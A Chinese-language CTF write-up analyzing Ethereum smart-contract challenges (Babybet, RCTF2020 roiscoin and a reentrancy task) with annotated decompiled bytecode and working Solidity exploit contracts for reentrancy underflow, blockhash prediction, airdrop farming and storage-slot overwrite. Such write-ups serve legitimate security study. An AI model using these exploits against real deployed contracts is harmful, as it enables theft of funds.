if (msg.sender != storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }
//msg.sender == storage[2] 那么 storage[3]=arg0;
storage[0x03] = arg0;
}
function guess(var arg0) {
if (arg0 != storage[0x03]) { revert(memory[0x00:0x00]); }
//arg0!=storage[3]
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]==1
if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
// storage[msg.sender[0]]+=1;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x20:0x40] = 0x01;
//storage[msg.sender[1]]+=1;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}
function transfer(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[0]]>=2
if (arg1 != 0x02) { revert(memory[0x00:0x00]); }
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }
//storage[msg.sender[1]]==2
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
//storage[msg.sender[0]]=0
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
storage[keccak256(memory[0x00:0x40])] = arg1;
//storage[arg0[0]]=arg1;
}
function level(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//返回 storage[arg0[1]]
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
//storage[arg0[0]]
}
}
已经全都加过注释了。今天是纯自己分析一遍得到的,十分有收获。确实去年和今年题目的难度都是两种。。。233333
主要通过3个重要函数进行payforflag()

我们从而得知payforflag()条件就是 storage[msg.sender[0]]>10000000000

利用guess 猜数字,如果和storage[3]相等,且storage[msg.sender[1]]==1 的时候, storage[msg.sender[0]]+=1,storage[msg.sender[1]]+=1.

profit() , 要求 storage[msg.sender[1]]==0 之后 还要求账户末尾为b1b1 ,这个功能之前已经说过了。今天又看到了一个可以生成的在线网站 ,十分牛逼。https://vanity-eth.tk/
然后就可以使得storage[msg.sender[0]]+=1, storage[msg.sender[1]]+=1

withdraw () 这里限制了 storage[msg.sender[0]]>=2 然后他进行了 msg.call() 这里可以进行重入。 然后看下面, storage[msg.sender[0]]-=2 , 那么自然而然想到了payforflag()的条件。 所以我们可以想到使用这里来实现重入下溢, 从而得到payforflag()的条件。
那么就很显然了。
不过这个题在比赛时据说有坑。是因为出题人没有给原合约 币,所以就算你打通了也不会给你发flag, 所以我们需要先 创立个有币的合约来selfdestruct() 给这个合约。然后再用exp合约来攻击
调用顺序就是
profit() - > guess() -> 重入2次的withdraw()
因为2-2=0 , 0-2 = 2**256 -1 -2 溢出。 从而达到了payforflag的效果。
强网杯区块链题目--Babybet深入分析
这道题相比上一题代码量还是差不多的,主要是攻击模式的改变。
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
if (msg.data.length < 0x04) {
label_0077:
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = msg.value / 0x0de0b6b3a7640000 + storage[temp0];
stop();
} else {
var var0 = msg.data[0x00:0x20] / 0x0100000000000000000000000000000000000000000000000000000000 & 0xffffffff;
if (var0 == 0x645b8b1b) {
// Dispatch table entry for status(address)
var var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00c6;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = status(var2);
label_00C6:
var temp1 = memory[0x40:0x60];
memory[temp1:temp1 + 0x20] = var2;
var temp2 = memory[0x40:0x60];
return memory[temp2:temp2 + temp1 - temp2 + 0x20];
} else if (var0 == 0x66d16cc3) {
// Dispatch table entry for profit()
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ed;
profit();
stop();
} else if (var0 == 0x7365870b) {
// Dispatch table entry for bet(uint256)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ed;
var2 = msg.data[0x04:0x24];
bet(var2);
stop();
} else if (var0 == 0x8c0320de) {
// Dispatch table entry for payforflag(string,string)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var temp3 = memory[0x40:0x60];
var temp4 = msg.data[0x04:0x24];
var temp5 = msg.data[temp4 + 0x04:temp4 + 0x04 + 0x20];
memory[0x40:0x60] = temp3 + (temp5 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp3:temp3 + 0x20] = temp5;
var1 = 0x00ed;
memory[temp3 + 0x20:temp3 + 0x20 + temp5] = msg.data[temp4 + 0x24:temp4 + 0x24 + temp5];
var temp6 = memory[0x40:0x60];
var temp7 = msg.data[0x24:0x44] + 0x04;
var temp8 = msg.data[temp7:temp7 + 0x20];
memory[0x40:0x60] = temp6 + (temp8 + 0x1f) / 0x20 * 0x20 + 0x20;
memory[temp6:temp6 + 0x20] = temp8;
var2 = temp3;
memory[temp6 + 0x20:temp6 + 0x20 + temp8] = msg.data[temp7 + 0x20:temp7 + 0x20 + temp8];
var var3 = temp6;
payforflag(var2, var3);
stop();
} else if (var0 == 0xe3d670d7) {
// Dispatch table entry for balance(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00c6;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = balance(var2);
goto label_00C6;
} else if (var0 == 0xf0d25268) {
// Dispatch table entry for 0xf0d25268 (unknown)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x00ed;
var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
var3 = msg.data[0x24:0x44];
func_048F(var2, var3);
stop();
} else { goto label_0077; }
}
}
function status(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x01;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
// storage[arg0[1]]
}
function profit() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// storage[msg.sender[1]]==0
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x0a;
// storage[msg.sender[0]]+=10
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x01;
//storage[msg.sender[1]]=1
}
function bet(var arg0) {
var var0 = 0x00;
memory[var0:var0 + 0x20] = msg.sender;
memory[0x20:0x40] = var0;
var var1 = var0;
if (0x0a > storage[keccak256(memory[var1:var1 + 0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[var0]]>=10
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
if (0x02 <= storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
//storage[msg.sender[1]]<2
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + ~0x09;
// storage[msg.sender[0]]-=10
var0 = block.blockHash(block.number + ~0x00);
// block.blockHash (block.number-1)
var1 = var0 % 0x03;
//block.blockHash (block.number-1)%3
if (var1 != arg0) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
// 若 var1!= var0 strorage[msg.sender[1]]=2
return;
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x03e8;
// storage[msg.sender[0]]+=1000
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x01;
storage[keccak256(memory[0x00:0x40])] = 0x02;
// storage[msg.sender[1]]=2
return;
}
}
function payforflag(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (0x0f4240 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// storage[msg.sender[0]]>=1000000
if (msg.sender == storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff) {
// msg.sender== storage[2]
var temp0 = memory[0x40:0x60];
var temp1 = address(address(this)).balance;
var temp2;
temp2, memory[temp0:temp0 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp0:temp0 + 0x00]);
var var0 = !temp2;
if (!var0) {
label_0378:
var0 = 0x6335b7f9c4dff99c3a870eaf18b802774df3aba4e21b72549f3a03b6bc974c90;
var temp3 = arg0;
var var1 = temp3;
var var2 = arg1;
var temp4 = memory[0x40:0x60];
var var3 = temp4;
var var4 = var3;
var var5 = var4 + 0x20;
var temp5 = var5 + 0x20;
memory[var4:var4 + 0x20] = temp5 - var4;
memory[temp5:temp5 + 0x20] = memory[var1:var1 + 0x20];
var var6 = temp5 + 0x20;
var var7 = var1 + 0x20;
var var8 = memory[var1:var1 + 0x20];
var var9 = var8;
var var10 = var6;
var var11 = var7;
var var12 = 0x00;
if (var12 >= var9) {
label_03DD:
var temp6 = var8;
var6 = temp6 + var6;
var7 = temp6 & 0x1f;
if (!var7) {
var temp7 = var6;
memory[var5:var5 + 0x20] = temp7 - var3;
var temp8 = var2;
memory[temp7:temp7 + 0x20] = memory[temp8:temp8 + 0x20];
var6 = temp7 + 0x20;
var7 = temp8 + 0x20;
var8 = memory[temp8:temp8 + 0x20];
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) {
label_043D:
var temp9 = var8;
var6 = temp9 + var6;
var7 = temp9 & 0x1f;
if (!var7) {
var temp10 = memory[0x40:0x60];
log(memory[temp10:temp10 + var6 - temp10], [stack[-8]]);
return;
} else {
var temp11 = var7;
var temp12 = var6 - temp11;
memory[temp12:temp12 + 0x20] = ~(0x0100 ** (0x20 - temp11) - 0x01) & memory[temp12:temp12 + 0x20];
var temp13 = memory[0x40:0x60];
log(memory[temp13:temp13 + (temp12 + 0x20) - temp13], [stack[-8]]);
return;
}
} else {
label_042E:
var temp14 = var12;
memory[temp14 + var10:temp14 + var10 + 0x20] = memory[temp14 + var11:temp14 + var11 + 0x20];
var12 = temp14 + 0x20;
if (var12 >= var9) { goto label_043D; }
else { goto label_042E; }
}
} else {
var temp15 = var7;
var temp16 = var6 - temp15;
memory[temp16:temp16 + 0x20] = ~(0x0100 ** (0x20 - temp15) - 0x01) & memory[temp16:temp16 + 0x20];
var temp17 = temp16 + 0x20;
memory[var5:var5 + 0x20] = temp17 - var3;
var temp18 = var2;
memory[temp17:temp17 + 0x20] = memory[temp18:temp18 + 0x20];
var6 = temp17 + 0x20;
var7 = temp18 + 0x20;
var8 = memory[temp18:temp18 + 0x20];
var9 = var8;
var10 = var6;
var11 = var7;
var12 = 0x00;
if (var12 >= var9) { goto label_043D; }
else { goto label_042E; }
}
} else {
label_03CE:
var temp19 = var12;
memory[temp19 + var10:temp19 + var10 + 0x20] = memory[temp19 + var11:temp19 + var11 + 0x20];
var12 = temp19 + 0x20;
if (var12 >= var9) { goto label_03DD; }
else { goto label_03CE; }
}
} else {
label_036F:
var temp20 = returndata.length;
memory[0x00:0x00 + temp20] = returndata[0x00:0x00 + temp20];
revert(memory[0x00:0x00 + returndata.length]);
}
} else {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
storage[keccak256(memory[0x00:0x40])] = 0x00;
var temp21 = memory[0x40:0x60];
var temp22 = address(address(this)).balance;
var temp23;
temp23, memory[temp21:temp21 + 0x00] = address(storage[0x02] & 0xffffffffffffffffffffffffffffffffffffffff).call.gas(!temp22 * 0x08fc).value(temp22)(memory[temp21:temp21 + 0x00]);
var0 = !temp23;
if (!var0) { goto label_0378; }
else { goto label_036F; }
}
}
function balance(var arg0) returns (var arg0) {
memory[0x20:0x40] = 0x00;
memory[0x00:0x20] = arg0;
return storage[keccak256(memory[0x00:0x40])];
}
function func_048F(var arg0, var arg1) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
if (arg1 > storage[keccak256(memory[0x00:0x40])]) { revert(memory[0x00:0x00]); }
// storage[msg.sender[0]]>=arg1
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x00;
var temp0 = keccak256(memory[0x00:0x40]);
var temp1 = arg1;
storage[temp0] = storage[temp0] - temp1;
// storage[msg.sender[0]]-=arg1
memory[0x00:0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var temp2 = keccak256(memory[0x00:0x40]);
storage[temp2] = temp1 + storage[temp2];
//storage[arg0[0]]+=arg1
}
}
还是做完了注释。分析几个重要部分

领空投,之后会被加一个状态就不能再领了。

bet 赌博,首先你要有钱>=10 ,然后你要传入一个arg0 需要和他的相等,。
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
随机数表示如上。
我们知道,区块链中如果不调用第三方库那么便不会存在真正的随机数,此合约的随机数便可以被预测。
即我们可以使用如下函数来达到与合约相同的随机数预测:
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
就是一模一样往上写就可以了。
然后赌赢了拿1000被赋值个状态,没赢 就被搞了个状态上去。

payforflag 要求一个账户有钱,而且>100000

转账函数就是。
那我们就考虑薅羊毛来实现
1000次1000然后都转到一个人名下就可以了。
拿先知上的代码了。
pragma solidity ^0.4.23;
contract babybet {
mapping(address => uint) public balance;
mapping(address => uint) public status;
address owner;
//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
balance[msg.sender]=1000000;
}
function balance(address a) returns (uint b) {
}
//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 1000000);
if (msg.sender!=owner){
balance[msg.sender]=0;}
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
function profit() {}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function bet(uint num) {}
}
contract midContract {
babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function process() public {
target.profit();
bytes32 guess = block.blockhash(block.number - 0x01);
uint guess1 = uint(guess) % 0x03;
target.bet(guess1);
}
function transfer(address a, uint b) public{
// target.func_048F(a,b);
bytes4 method = 0xf0d25268;
target.call(method,a,b);
selfdestruct();
}
}
contract hack {
// babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);
function ffff() public {
for(int i=0;i<=1000;i++){
midContract mid = new midContract();
mid.process();
mid.transfer("0x9b9a3xxxxxxxxxxxxxxxxxxxx",1000);
}
}
}
RCTF2020 roiscoin(From pikachu's blog)
pragma solidity ^0.4.23;
contract FakeOwnerGame {
event SendFlag(address _addr);
uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;
struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}
if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}
function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}
function revise(uint idx, bytes32 tmp) {
codex[idx] = tmp;
}
}
给了一发源码我直接爱了。
直接看Payforflag() 要求是balanceof[msg.sender]>=2000
然后看如何才能+ balanceof
发现settle()中可以实现,这里有一个guess == answer answer=keccak(256(block)) %2;
这里我们可以拿两次钱。也就是又是预测随机数。
未初始化的结构体Storage 覆盖问题, settle中的failedlog 未初始化造成storage 变量覆盖从而覆写 codex的数组长度。
数组任意写,数组长度更改之后,覆盖owner,这对长度有一定的要求。这里是用msg.owner 覆盖数组的高20字节。
这里遇到了一个对我来说新的漏洞。变量覆盖。首先我们想进行owner=msg.sender.那么这里可控得函数,只有一个revise ,还有一个beOwner。但是这个是非预期打得,非预期讲完整解之后再讲。
那么我们就考虑这个codex[] 他的长度codex.length在storage[5] 他的计算是从
keccak256(5)+var0 一直var0可控。 如果我们在这里 x=keccak256(5) 那么传入
2^256+6-x 我们就可以任意写storage[6] 也就是owner 。这一段如果不太理解最好是对着反汇编看。因为这里源代码反而没有那么直观。
写完storage[6]后,只需要满足猜两次就够了。
他用的是未来随机数,不过他就需要猜对2次,就蒙就可以了。
我这里直接借用pikachu师傅的 wp了。
部署 hack
合约,这里需要注意:
- 数组在
storage5
位置,keccak256(bytes32(5)) = 0x036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db0
- 当我们修改
codex[y],(y=2^256-x+6)
时就能修改slot 6
,从而修改owner
, 其中x = keccak256(bytes32(5))
- 计算出
y = 114245411204874937970903528273105092893277201882823832116766311725579567940182
, 即y = 0xfc949c7b4a13586e39d89eead2f38644f9fb3efb5a0490b14f8fc0ceab44c256
- 所以数组的长度
codex.length
要> y
, 由于msg.sender
覆盖数组长度的高20
字节,所以其实是变相要求address(msg.sender) > y
, 我们可以生成以0xfd
或0xfe
或0xff
开头的地址即可简单满足这一点
这里的最后一点是防越界所设置的。不过我们只需要把codex.length写的较大就可以满足了。
解题步骤
- 调用
hack1
- 调用
hack2
一次,这一次需要满足result = 1
,否则继续调用hack2
,直至这一次成功 - 调用
hack3
两次,这两次需要满足result = 0
,否则继续调用hack3
,直至两次为止 - 调用
hack4
修改owner
,这里有个坑点,题目给的合约不是真正的合约,因为调用hack4
总是不能成功修改owner
, 逆向合约,可以看出revise
函数有问题,额外要求msg.sender
最低位字节是0x61
,所以对msg.sender
总共有两点要求: 大于y
并且最低字节是0x61
- 调用
hack5
调用Hack2 是为了覆写我们的storage[5] 也就是codex.length.
hack3 两次是为了才对两次
hack4 是用来任意写storage[6]
最后调用hack5拿Flag。
坑点在反汇编中就可以看出来十分牛逼。
pragma solidity ^0.4.23;
contract FakeOwnerGame {
event SendFlag(address _addr);
uint randomNumber = 0;
uint time = now;
mapping (address => uint) public BalanceOf;
mapping (address => uint) public WinCount;
mapping (address => uint) public FailCount;
bytes32[] public codex;
address private owner;
uint256 settlementBlockNumber;
address guesser;
uint8 guess;
struct FailedLog {
uint failtag;
uint failtime;
uint success_count;
address origin;
uint fail_count;
bytes12 hash;
address msgsender;
}
mapping(address => FailedLog[]) FailedLogs;
constructor() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function payforflag() onlyOwner {
require(BalanceOf[msg.sender] >= 2000);
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}
function lockInGuess(uint8 n) public payable {
require(guesser == 0);
require(msg.value == 1 ether);
guesser = msg.sender;
guess = n;
settlementBlockNumber = block.number + 1;
}
function settle() public {
require(msg.sender == guesser);
require(block.number > settlementBlockNumber);
uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (guess == answer) {
WinCount[msg.sender] += 1;
BalanceOf[msg.sender] += 1000;
} else {
FailCount[msg.sender] += 1;
}
if (WinCount[msg.sender] == 2) {
if (WinCount[msg.sender] + FailCount[msg.sender] <= 2) {
guesser = 0;
WinCount[msg.sender] = 0;
FailCount[msg.sender] = 0;
msg.sender.transfer(address(this).balance);
} else {
FailedLog failedlog;
failedlog.failtag = 1;
failedlog.failtime = now;
failedlog.success_count = WinCount[msg.sender];
failedlog.origin = tx.origin;
failedlog.fail_count = FailCount[msg.sender];
failedlog.hash = bytes12(sha3(WinCount[msg.sender] + FailCount[msg.sender]));
failedlog.msgsender = msg.sender;
FailedLogs[msg.sender].push(failedlog);
}
}
}
function beOwner() payable {
require(address(this).balance > 0);
if(msg.value >= address(this).balance){
owner = msg.sender;
}
}
function revise(uint idx, bytes32 tmp) {
if(uint(msg.sender) & 0x61 == 0x61 && tx.origin != msg.sender) {
codex[idx] = tmp;
}
}
function read_slot(uint k) public view returns (bytes32 res) {
assembly { res := sload(k) }
}
function cal_addr(uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(p));
}
}
contract hack {
uint public result;
address instance_address = 0x7be4ae576495b00d23082575c17a354dd1d9e429 ;
FakeOwnerGame target = FakeOwnerGame(instance_address);
constructor() payable{}
// 随机猜一个数0或1
function hack1() {
target.lockInGuess.value(1 ether)(0);
}
// 这里先让result=1,即先猜失败
function hack2() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 1) {
target.settle();
}
}
// 这里让result=0,即猜测成功,连续调用两次
function hack3() {
result = uint8(keccak256(block.blockhash(block.number - 1), now)) % 2;
if (result == 0) {
target.settle();
}
}
// 修改owner
function hack4() {
target.revise(114245411204874937970903528273105092893277201882823832116766311725579567940182,bytes32(address(this)));
}
function hack5() {
target.payforflag();
}
}
生成固定格式的账号。
from ethereum import utils
import os, sys
# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not addr.lower().endswith("1b1b"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
while not (utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("61") and utils.decode_addr(utils.mk_contract_address(addr, 0)).startswith("fd")):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))
print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))
if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
PS:十分感谢Sissel大哥,才能比较好的理解这题(x
非预期是因为beOwner 中的this.balance计算的时候,会加入你msg.value 。
之后后面的判断也是 this.balance==msg.value 所以只要满足msg.value>0就可以成功拿到owner ,然后猜数字也没有限制3次,就可以成功拿到flag了。